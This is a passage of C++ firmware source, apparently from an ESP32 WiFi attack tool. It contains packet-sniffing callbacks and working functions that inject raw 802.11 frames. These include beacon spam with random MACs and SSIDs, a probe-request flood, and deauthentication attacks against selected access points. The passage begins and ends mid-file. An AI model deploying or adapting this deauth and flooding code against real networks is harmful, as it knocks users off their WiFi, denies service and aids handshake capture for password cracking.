  1317. Serial.print(access_points->size());
  1318. Serial.println();
  1319. if (save_packet)
  1320. sd_obj.addPacket(snifferPacket->payload, len);
  1321. }
  1322. }
  1323. }
  1324. }
  1325. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1326. {
  1327. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1328. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1329. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1330. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1331. int len = snifferPacket->rx_ctrl.sig_len;
  1332. String display_string = "";
  1333. String essid = "";
  1334. String bssid = "";
  1335. if (type == WIFI_PKT_MGMT)
  1336. {
  1337. len -= 4;
  1338. int fctl = ntohs(frameControl->fctl);
  1339. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1340. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1341. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1342. #ifdef HAS_SCREEN
  1343. int buf = display_obj.display_buffer->size();
  1344. #else
  1345. int buf = 0;
  1346. #endif
  1347. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1348. {
  1349. char addr[] = "00:00:00:00:00:00";
  1350. getMAC(addr, snifferPacket->payload, 10);
  1351. bool in_list = false;
  1352. bool mac_match = true;
  1353. for (int i = 0; i < access_points->size(); i++) {
  1354. mac_match = true;
  1355. //Serial.print("Checking ");
  1356. //Serial.print(addr);
  1357. //Serial.println(" against " + (String)access_points->get(i).essid);
  1358. for (int x = 0; x < 6; x++) {
  1359. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1360. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1361. mac_match = false;
  1362. //Serial.println("MACs do not match");
  1363. break;
  1364. }
  1365. }
  1366. if (mac_match) {
  1367. in_list = true;
  1368. break;
  1369. }
  1370. }
  1371. if (!in_list) {
  1372. delay(random(0, 10));
  1373. Serial.print("RSSI: ");
  1374. Serial.print(snifferPacket->rx_ctrl.rssi);
  1375. Serial.print(" Ch: ");
  1376. Serial.print(snifferPacket->rx_ctrl.channel);
  1377. Serial.print(" BSSID: ");
  1378. Serial.print(addr);
  1379. display_string.concat(addr);
  1380. Serial.print(" ESSID: ");
  1381. display_string.concat(" -> ");
  1382. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1383. {
  1384. Serial.print((char)snifferPacket->payload[i + 38]);
  1385. display_string.concat((char)snifferPacket->payload[i + 38]);
  1386. essid.concat((char)snifferPacket->payload[i + 38]);
  1387. }
  1388. bssid.concat(addr);
  1389. int temp_len = display_string.length();
  1390. for (int i = 0; i < 40 - temp_len; i++)
  1391. {
  1392. display_string.concat(" ");
  1393. }
  1394. Serial.print(" ");
  1395. #ifdef HAS_SCREEN
  1396. if (display_obj.display_buffer->size() == 0)
  1397. {
  1398. display_obj.loading = true;
  1399. display_obj.display_buffer->add(display_string);
  1400. display_obj.loading = false;
  1401. }
  1402. #endif
  1403. if (essid == "") {
  1404. essid = bssid;
  1405. Serial.print(essid + " ");
  1406. }
  1407. AccessPoint ap = {essid,
  1408. snifferPacket->rx_ctrl.channel,
  1409. {snifferPacket->payload[10],
  1410. snifferPacket->payload[11],
  1411. snifferPacket->payload[12],
  1412. snifferPacket->payload[13],
  1413. snifferPacket->payload[14],
  1414. snifferPacket->payload[15]},
  1415. false,
  1416. NULL};
  1417. access_points->add(ap);
  1418. Serial.print(access_points->size());
  1419. Serial.println();
  1420. if (save_packet)
  1421. sd_obj.addPacket(snifferPacket->payload, len);
  1422. }
  1423. }
  1424. }
  1425. }
  1426. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1427. {
  1428. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1429. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1430. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1431. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1432. int len = snifferPacket->rx_ctrl.sig_len;
  1433. String display_string = "";
  1434. if (type == WIFI_PKT_MGMT)
  1435. {
  1436. len -= 4;
  1437. int fctl = ntohs(frameControl->fctl);
  1438. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1439. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1440. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1441. #ifdef HAS_SCREEN
  1442. int buf = display_obj.display_buffer->size();
  1443. #else
  1444. int buf = 0;
  1445. #endif
  1446. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1447. {
  1448. delay(random(0, 10));
  1449. Serial.print("RSSI: ");
  1450. Serial.print(snifferPacket->rx_ctrl.rssi);
  1451. Serial.print(" Ch: ");
  1452. Serial.print(snifferPacket->rx_ctrl.channel);
  1453. Serial.print(" BSSID: ");
  1454. char addr[] = "00:00:00:00:00:00";
  1455. getMAC(addr, snifferPacket->payload, 10);
  1456. Serial.print(addr);
  1457. display_string.concat(addr);
  1458. Serial.print(" ESSID: ");
  1459. display_string.concat(" -> ");
  1460. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1461. {
  1462. Serial.print((char)snifferPacket->payload[i + 38]);
  1463. display_string.concat((char)snifferPacket->payload[i + 38]);
  1464. }
  1465. int temp_len = display_string.length();
  1466. #ifdef HAS_SCREEN
  1467. for (int i = 0; i < 40 - temp_len; i++)
  1468. {
  1469. display_string.concat(" ");
  1470. }
  1471. Serial.print(" ");
  1472. if (display_obj.display_buffer->size() == 0)
  1473. {
  1474. display_obj.loading = true;
  1475. display_obj.display_buffer->add(display_string);
  1476. display_obj.loading = false;
  1477. }
  1478. #endif
  1479. Serial.println();
  1480. if (save_packet)
  1481. sd_obj.addPacket(snifferPacket->payload, len);
  1482. }
  1483. }
  1484. }
  1485. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1486. {
  1487. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1488. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1489. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1490. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1491. int len = snifferPacket->rx_ctrl.sig_len;
  1492. String display_string = "";
  1493. if (type == WIFI_PKT_MGMT)
  1494. {
  1495. len -= 4;
  1496. int fctl = ntohs(frameControl->fctl);
  1497. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1498. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1499. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1500. #ifdef HAS_SCREEN
  1501. int buf = display_obj.display_buffer->size();
  1502. #else
  1503. int buf = 0;
  1504. #endif
  1505. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1506. {
  1507. delay(random(0, 10));
  1508. Serial.print("RSSI: ");
  1509. Serial.print(snifferPacket->rx_ctrl.rssi);
  1510. Serial.print(" Ch: ");
  1511. Serial.print(snifferPacket->rx_ctrl.channel);
  1512. Serial.print(" BSSID: ");
  1513. char addr[] = "00:00:00:00:00:00";
  1514. getMAC(addr, snifferPacket->payload, 10);
  1515. Serial.print(addr);
  1516. display_string.concat(text_table4[0]);
  1517. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1518. display_string.concat(" ");
  1519. display_string.concat(addr);
  1520. #ifdef HAS_SCREEN
  1521. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1522. {
  1523. display_string.concat(" ");
  1524. }
  1525. Serial.print(" ");
  1526. if (display_obj.display_buffer->size() == 0)
  1527. {
  1528. display_obj.loading = true;
  1529. display_obj.display_buffer->add(display_string);
  1530. display_obj.loading = false;
  1531. }
  1532. #endif
  1533. Serial.println();
  1534. if (save_packet)
  1535. sd_obj.addPacket(snifferPacket->payload, len);
  1536. }
  1537. }
  1538. }
  1539. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1540. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1541. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1542. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1543. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1544. int len = snifferPacket->rx_ctrl.sig_len;
  1545. String display_string = "";
  1546. if (type == WIFI_PKT_MGMT)
  1547. {
  1548. len -= 4;
  1549. int fctl = ntohs(frameControl->fctl);
  1550. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1551. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1552. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1553. #ifdef HAS_SCREEN
  1554. int buf = display_obj.display_buffer->size();
  1555. #else
  1556. int buf = 0;
  1557. #endif
  1558. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1559. {
  1560. delay(random(0, 10));
  1561. Serial.print("RSSI: ");
  1562. Serial.print(snifferPacket->rx_ctrl.rssi);
  1563. Serial.print(" Ch: ");
  1564. Serial.print(snifferPacket->rx_ctrl.channel);
  1565. Serial.print(" Client: ");
  1566. char addr[] = "00:00:00:00:00:00";
  1567. getMAC(addr, snifferPacket->payload, 10);
  1568. Serial.print(addr);
  1569. display_string.concat(addr);
  1570. Serial.print(" Requesting: ");
  1571. display_string.concat(" -> ");
  1572. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1573. {
  1574. Serial.print((char)snifferPacket->payload[26 + i]);
  1575. display_string.concat((char)snifferPacket->payload[26 + i]);
  1576. }
  1577. // Print spaces because of the rotating lines of the hardware scroll.
  1578. // The same characters print from previous lines so I just overwrite them
  1579. // with spaces.
  1580. #ifdef HAS_SCREEN
  1581. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1582. {
  1583. display_string.concat(" ");
  1584. }
  1585. if (display_obj.display_buffer->size() == 0)
  1586. {
  1587. //while (display_obj.printing)
  1588. // delay(1);
  1589. display_obj.loading = true;
  1590. display_obj.display_buffer->add(display_string);
  1591. display_obj.loading = false;
  1592. }
  1593. #endif
  1594. Serial.println();
  1595. if (save_packet)
  1596. sd_obj.addPacket(snifferPacket->payload, len);
  1597. }
  1598. }
  1599. }
  1600. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1601. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1602. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1603. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1604. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1605. int len = snifferPacket->rx_ctrl.sig_len;
  1606. String display_string = "";
  1607. String essid = "";
  1608. bool found = false;
  1609. if (type == WIFI_PKT_MGMT)
  1610. {
  1611. len -= 4;
  1612. int fctl = ntohs(frameControl->fctl);
  1613. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1614. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1615. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1616. #ifdef HAS_SCREEN
  1617. int buf = display_obj.display_buffer->size();
  1618. #else
  1619. int buf = 0;
  1620. #endif
  1621. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1622. {
  1623. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1624. {
  1625. essid.concat((char)snifferPacket->payload[26 + i]);
  1626. }
  1627. for (int i = 0; i < ssids->size(); i++) {
  1628. if (ssids->get(i).essid == essid) {
  1629. Serial.println("Found a sheep");
  1630. found = true;
  1631. break;
  1632. }
  1633. }
  1634. if (!found)
  1635. return;
  1636. delay(random(0, 10));
  1637. Serial.print("RSSI: ");
  1638. Serial.print(snifferPacket->rx_ctrl.rssi);
  1639. Serial.print(" Ch: ");
  1640. Serial.print(snifferPacket->rx_ctrl.channel);
  1641. Serial.print(" Client: ");
  1642. char addr[] = "00:00:00:00:00:00";
  1643. getMAC(addr, snifferPacket->payload, 10);
  1644. Serial.print(addr);
  1645. display_string.concat(addr);
  1646. Serial.print(" Requesting: ");
  1647. display_string.concat(" -> ");
  1648. // ESSID
  1649. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1650. {
  1651. Serial.print((char)snifferPacket->payload[26 + i]);
  1652. display_string.concat((char)snifferPacket->payload[26 + i]);
  1653. }
  1654. // Print spaces because of the rotating lines of the hardware scroll.
  1655. // The same characters print from previous lines so I just overwrite them
  1656. // with spaces.
  1657. #ifdef HAS_SCREEN
  1658. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1659. {
  1660. display_string.concat(" ");
  1661. }
  1662. if (display_obj.display_buffer->size() == 0)
  1663. {
  1664. display_obj.loading = true;
  1665. display_obj.display_buffer->add(display_string);
  1666. display_obj.loading = false;
  1667. }
  1668. #endif
  1669. Serial.println();
  1670. if (save_packet)
  1671. sd_obj.addPacket(snifferPacket->payload, len);
  1672. }
  1673. }
  1674. }
  1675. /*
  1676. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1677. set_channel = random(1,12);
  1678. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1679. delay(1);
  1680. // Randomize SRC MAC
  1681. packet[10] = packet[16] = custom_ssid.bssid[0];
  1682. packet[11] = packet[17] = custom_ssid.bssid[1];
  1683. packet[12] = packet[18] = custom_ssid.bssid[2];
  1684. packet[13] = packet[19] = custom_ssid.bssid[3];
  1685. packet[14] = packet[20] = custom_ssid.bssid[4];
  1686. packet[15] = packet[21] = custom_ssid.bssid[5];
  1687. char ESSID[custom_ssid.essid.length() + 1] = {};
  1688. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1689. }*/
  1690. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1691. set_channel = random(1,12);
  1692. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1693. delay(1);
  1694. if (custom_ssid.beacon->size() == 0)
  1695. return;
  1696. // Randomize SRC MAC
  1697. // Randomize SRC MAC
  1698. packet[10] = packet[16] = random(256);
  1699. packet[11] = packet[17] = random(256);
  1700. packet[12] = packet[18] = random(256);
  1701. packet[13] = packet[19] = random(256);
  1702. packet[14] = packet[20] = random(256);
  1703. packet[15] = packet[21] = random(256);
  1704. char ESSID[custom_ssid.essid.length() + 1] = {};
  1705. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1706. int realLen = strlen(ESSID);
  1707. int ssidLen = random(realLen, 33);
  1708. int numSpace = ssidLen - realLen;
  1709. //int rand_len = sizeof(rand_reg);
  1710. int fullLen = ssidLen;
  1711. packet[37] = fullLen;
  1712. // Insert my tag
  1713. for(int i = 0; i < realLen; i++)
  1714. packet[38 + i] = ESSID[i];
  1715. for(int i = 0; i < numSpace; i++)
  1716. packet[38 + realLen + i] = 0x20;
  1717. /////////////////////////////
  1718. packet[50 + fullLen] = set_channel;
  1719. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1720. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1721. // Add everything that goes after the SSID
  1722. //for(int i = 0; i < 12; i++)
  1723. // packet[38 + fullLen + i] = postSSID[i];
  1724. packet[34] = custom_ssid.beacon->get(0);
  1725. packet[35] = custom_ssid.beacon->get(1);
  1726. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1727. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1728. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1729. packets_sent = packets_sent + 3;
  1730. }
  1731. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1732. set_channel = random(1,12);
  1733. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1734. delay(1);
  1735. // Randomize SRC MAC
  1736. packet[10] = packet[16] = custom_ssid.bssid[0];
  1737. packet[11] = packet[17] = custom_ssid.bssid[1];
  1738. packet[12] = packet[18] = custom_ssid.bssid[2];
  1739. packet[13] = packet[19] = custom_ssid.bssid[3];
  1740. packet[14] = packet[20] = custom_ssid.bssid[4];
  1741. packet[15] = packet[21] = custom_ssid.bssid[5];
  1742. char ESSID[custom_ssid.essid.length() + 1] = {};
  1743. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1744. int ssidLen = strlen(ESSID);
  1745. //int rand_len = sizeof(rand_reg);
  1746. int fullLen = ssidLen;
  1747. packet[37] = fullLen;
  1748. // Insert my tag
  1749. for(int i = 0; i < ssidLen; i++)
  1750. packet[38 + i] = ESSID[i];
  1751. /////////////////////////////
  1752. packet[50 + fullLen] = set_channel;
  1753. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1754. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1755. // Add everything that goes after the SSID
  1756. for(int i = 0; i < 12; i++)
  1757. packet[38 + fullLen + i] = postSSID[i];
  1758. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1759. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1760. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1761. packets_sent = packets_sent + 3;
  1762. }
  1763. // Function to send beacons with random ESSID length
  1764. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1765. set_channel = random(1,12);
  1766. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1767. delay(1);
  1768. // Randomize SRC MAC
  1769. packet[10] = packet[16] = random(256);
  1770. packet[11] = packet[17] = random(256);
  1771. packet[12] = packet[18] = random(256);
  1772. packet[13] = packet[19] = random(256);
  1773. packet[14] = packet[20] = random(256);
  1774. packet[15] = packet[21] = random(256);
  1775. int ssidLen = strlen(ESSID);
  1776. //int rand_len = sizeof(rand_reg);
  1777. int fullLen = ssidLen;
  1778. packet[37] = fullLen;
  1779. // Insert my tag
  1780. for(int i = 0; i < ssidLen; i++)
  1781. packet[38 + i] = ESSID[i];
  1782. /////////////////////////////
  1783. packet[50 + fullLen] = set_channel;
  1784. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1785. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1786. // Add everything that goes after the SSID
  1787. for(int i = 0; i < 12; i++)
  1788. packet[38 + fullLen + i] = postSSID[i];
  1789. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1790. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1791. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1792. packets_sent = packets_sent + 3;
  1793. }
  1794. // Function for sending crafted beacon frames
  1795. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1796. set_channel = random(1,12);
  1797. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1798. delay(1);
  1799. // Randomize SRC MAC
  1800. packet[10] = packet[16] = random(256);
  1801. packet[11] = packet[17] = random(256);
  1802. packet[12] = packet[18] = random(256);
  1803. packet[13] = packet[19] = random(256);
  1804. packet[14] = packet[20] = random(256);
  1805. packet[15] = packet[21] = random(256);
  1806. packet[37] = 6;
  1807. // Randomize SSID (Fixed size 6. Lazy right?)
  1808. packet[38] = alfa[random(65)];
  1809. packet[39] = alfa[random(65)];
  1810. packet[40] = alfa[random(65)];
  1811. packet[41] = alfa[random(65)];
  1812. packet[42] = alfa[random(65)];
  1813. packet[43] = alfa[random(65)];
  1814. packet[56] = set_channel;
  1815. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1816. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1817. // Add everything that goes after the SSID
  1818. for(int i = 0; i < 12; i++)
  1819. packet[38 + 6 + i] = postSSID[i];
  1820. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1821. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1822. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1823. packets_sent = packets_sent + 3;
  1824. }
  1825. // Function to send probe flood to all "active" access points
  1826. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1827. // Itterate through all access points in list
  1828. for (int i = 0; i < access_points->size(); i++) {
  1829. // Check if active
  1830. if (access_points->get(i).selected) {
  1831. this->set_channel = access_points->get(i).channel;
  1832. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1833. delay(1);
  1834. // Build packet
  1835. // Randomize SRC MAC
  1836. prob_req_packet[10] = random(256);
  1837. prob_req_packet[11] = random(256);
  1838. prob_req_packet[12] = random(256);
  1839. prob_req_packet[13] = random(256);
  1840. prob_req_packet[14] = random(256);
  1841. prob_req_packet[15] = random(256);
  1842. // Set SSID length
  1843. int ssidLen = access_points->get(i).essid.length();
  1844. //int rand_len = sizeof(rand_reg);
  1845. int fullLen = ssidLen;
  1846. prob_req_packet[25] = fullLen;
  1847. // Insert ESSID
  1848. char buf[access_points->get(i).essid.length() + 1] = {};
  1849. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1850. for(int i = 0; i < ssidLen; i++)
  1851. prob_req_packet[26 + i] = buf[i];
  1852. /*
  1853. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1854. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1855. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1856. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1857. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1858. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1859. 0x00, 0x00
  1860. */
  1861. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1862. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1863. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1864. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1865. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1866. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1867. 0x00, 0x00, 0x00, 0x00};
  1868. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1869. for (int i = 0; i < 26 + fullLen; i++)
  1870. good_probe_req_packet[i] = prob_req_packet[i];
  1871. for(int i = 0; i < 40; i++)
  1872. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1873. // Send packet
  1874. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1875. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1876. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1877. packets_sent = packets_sent + 3;
  1878. }
  1879. }
  1880. }
  1881. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel) {
  1882. // Itterate through all access points in list
  1883. // Check if active
  1884. WiFiScan::set_channel = channel;
  1885. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  1886. delay(1);
  1887. // Build packet
  1888. deauth_frame_default[10] = bssid[0];
  1889. deauth_frame_default[11] = bssid[1];
  1890. deauth_frame_default[12] = bssid[2];
  1891. deauth_frame_default[13] = bssid[3];
  1892. deauth_frame_default[14] = bssid[4];
  1893. deauth_frame_default[15] = bssid[5];
  1894. deauth_frame_default[16] = bssid[0];
  1895. deauth_frame_default[17] = bssid[1];
  1896. deauth_frame_default[18] = bssid[2];
  1897. deauth_frame_default[19] = bssid[3];
  1898. deauth_frame_default[20] = bssid[4];
  1899. deauth_frame_default[21] = bssid[5];
  1900. // Send packet
  1901. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1902. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1903. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1904. packets_sent = packets_sent + 3;
  1905. }
  1906. void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
  1907. // Itterate through all access points in list
  1908. for (int i = 0; i < access_points->size(); i++) {
  1909. // Check if active
  1910. if (access_points->get(i).selected) {
  1911. this->set_channel = access_points->get(i).channel;
  1912. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1913. delay(1);
  1914. // Build packet
  1915. deauth_frame_default[10] = access_points->get(i).bssid[0];
  1916. deauth_frame_default[11] = access_points->get(i).bssid[1];
  1917. deauth_frame_default[12] = access_points->get(i).bssid[2];
  1918. deauth_frame_default[13] = access_points->get(i).bssid[3];
  1919. deauth_frame_default[14] = access_points->get(i).bssid[4];
  1920. deauth_frame_default[15] = access_points->get(i).bssid[5];
  1921. deauth_frame_default[16] = access_points->get(i).bssid[0];
  1922. deauth_frame_default[17] = access_points->get(i).bssid[1];
  1923. deauth_frame_default[18] = access_points->get(i).bssid[2];
  1924. deauth_frame_default[19] = access_points->get(i).bssid[3];
  1925. deauth_frame_default[20] = access_points->get(i).bssid[4];
  1926. deauth_frame_default[21] = access_points->get(i).bssid[5];
  1927. // Send packet
  1928. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1929. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1930. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1931. packets_sent = packets_sent + 3;
  1932. }
  1933. }
  1934. }
  1935. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1936. {
  1937. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1938. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1939. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1940. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1941. int len = snifferPacket->rx_ctrl.sig_len;
  1942. String display_string = "";
  1943. #ifdef HAS_SCREEN
  1944. int buff = display_obj.display_buffer->size();
  1945. #else
  1946. int buff = 0;
  1947. #endif
  1948. if (type == WIFI_PKT_MGMT)
  1949. {
  1950. len -= 4;
  1951. int fctl = ntohs(frameControl->fctl);
  1952. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1953. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1954. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1955. #ifndef MARAUDER_MINI
  1956. if (snifferPacket->payload[0] == 0x80)
  1957. {
  1958. num_beacon++;
  1959. }
  1960. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  1961. {
  1962. num_deauth++;
  1963. }
  1964. else if (snifferPacket->payload[0] == 0x40)
  1965. {
  1966. num_probe++;
  1967. }
  1968. #endif
  1969. char addr[] = "00:00:00:00:00:00";
  1970. getMAC(addr, snifferPacket->payload, 10);
  1971. display_string.concat(addr);
  1972. int temp_len = display_string.length();
  1973. #ifdef HAS_SCREEN
  1974. for (int i = 0; i < 40 - temp_len; i++)
  1975. {
  1976. display_string.concat(" ");
  1977. }
  1978. //Serial.print(" ");
  1979. #ifdef MARAUDER_MINI
  1980. if (display_obj.display_buffer->size() == 0)
  1981. {
  1982. display_obj.loading = true;
  1983. display_obj.display_buffer->add(display_string);
  1984. display_obj.loading = false;
  1985. }
  1986. #endif
  1987. #endif
  1988. if (save_packet)
  1989. sd_obj.addPacket(snifferPacket->payload, len);
  1990. }
  1991. }
  1992. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1993. {
  1994. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1995. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  1996. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1997. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
